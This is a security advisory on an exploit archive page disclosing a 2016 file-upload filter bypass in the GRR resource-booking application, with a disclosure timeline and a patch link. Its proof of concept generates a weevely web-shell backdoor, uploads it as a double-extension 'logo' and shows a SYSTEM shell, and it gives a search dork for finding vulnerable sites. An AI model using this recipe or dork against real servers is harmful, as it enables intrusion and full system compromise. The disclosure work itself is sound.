what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

GRR 3.0.0-RC1 Remote Code Execution / File Upload

GRR 3.0.0-RC1 Remote Code Execution / File Upload
Posted Jan 21, 2016
Authored by kmkz

GRR versions 3.0.0-RC1 and below suffer from a remote code execution vulnerability with privilege escalation through a file upload filter bypass.

tags | exploit, remote, code execution, file upload
SHA-256 | 286b498185c854403d0e567a816f5429b38d05890d5fa5454fe997be0829251f

GRR 3.0.0-RC1 Remote Code Execution / File Upload

Change Mirror Download
# Exploit Title: GRR <= 3.0.0-RC1 (all versions) RCE with privilege
escalation through file upload filter bypass (authenficated)
# Date: January 7th, 2016
# Exploit Author: kmkz (Bourbon Jean-marie) <mail.bourbon@gmail.com> |
@kmkz_security
# Vendor Homepage: http://grr.devome.com/fr/
# Software Link:
http://grr.devome.com/fr/telechargement/category/3-versions-patch?download=7:grr-3-0-0-rc1
# Version: 3.0.0-RC1
# Tested on: Windows 2003 R2, PHP 5.2.6
# Dork: inurl:/grr/ intext:réservation intitle:"GRR"
# CVE ID: Requested


I. APPLICATION
======================================================================================


GRR is an open source resources manager tool used in many french public
institutions (not only!).
It permit for example to manage rooms reservations, and so much more.


II. ADVISORY
======================================================================================



The application allows administrators to change the enterprise's logo
uploading a new image with .png,.jpg or .gif extension only.

Once uploaded, image name is "splitted" in an array and renamed with the
name "logo" followed by the extention saved as 2nd array's element.

This file called for example "logo.jpg" is also "chmoded" as 0666
permission
and directly accessible in image folder (img_grr by default) by all users.

Besides, the application does only a basic conditional php test
on the extension of the uploaded file.

It's possible for an attacker to add a second extension that will be
used when the image will be renamed in order to bypass this basic filter
(double extension upload filter bypassing).

So, a file called backdoor.php.jpg will be renamed as logo.php with
chmod 0666 permissions and could be used by attacker to gain more
privileges
on the targeted server (privesc due to bad file permissions and RCE).

To trigger this vulnerability it is necessary to have an administrator
account on the GRR application.

This vulnerability is a combination of 3 issues:
- predictable uploaded file names and path
- upload of any kind of file
- bad files permission when we upload this file that permit us to gain
privilegied access.

Note that it could be "dorkable" in order to find targets ... and sometimes
with trivial admin credentials ;-).


III. PROOF OF CONCEPT
======================================================================================


Generate backdoor:

kmkz@Tapz:~# weevely generate pass123 /tmp/3lrvs.php
Generated backdoor with password 'pass123' in '/tmp/3lrvs.php' of 1486
byte size.
kmkz@Tapz:~# mv /tmp/3lrvs.php /tmp/3lrvs.php.jpg


Login as admin and upload this new 'logo' > Administration > logo

Enjoy your shell!

kmkz@Tapz:~# weevely http://laboratoire.target.fr/images/logo.php
pass123
[+] weevely 3.2.0

[+] Target: laboratoire.target.fr:F:\server\grr\images
[+] Session: /kmkz/.weevely/sessions/
laboratoire.target.fr/logo_1.session
[+] Shell: System shell

[+] Browse the filesystem or execute commands starts the connection
[+] to the target. Type :help for more information.

weevely> whoami
autorite nt\system



IV. RISK
======================================================================================

By uploading a script, an attacker may be able to execute arbitrary code
on the server with elevated privileges.

This flaw may compromise the integrity of the system
(with access to sensitive informations, network shares...) and it may
conduce
to full information system's compromission using pivots techniques and
imagination!


V. VERSIONS AFFECTED
======================================================================================

GRR 3.0.0-RC1 is vulnerable (and all previous versions)


VI. TIMELINE
======================================================================================

December 17th, 2015: Vulnerability identification
January 7th, 2016: Vendor and project developers notification
January 11th, 2016: Project developers response
January 15th, 2016: Patch release
January 17th, 2016: Public disclosure


Publication:
http://www.kaizendo.fr/php-how-to-manage-uploaded-image-in-secure-way/
Patch :
https://github.com/JeromeDevome/GRR/commit/b4c55e009c1af33b63326b755ccc4121a004bf0c

VII. LEGAL NOTICES
======================================================================================

The information contained within this advisory is supplied "as-is" with
no warranties or guarantees of fitness of use or otherwise.
I accept no responsibility for any damage caused by the use or misuse of
this advisory.


@kmkz_security


Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    0 Files
  • 20
    Mar 20th
    0 Files
  • 21
    Mar 21st
    0 Files
  • 22
    Mar 22nd
    0 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    0 Files
  • 26
    Mar 26th
    0 Files
  • 27
    Mar 27th
    0 Files
  • 28
    Mar 28th
    0 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close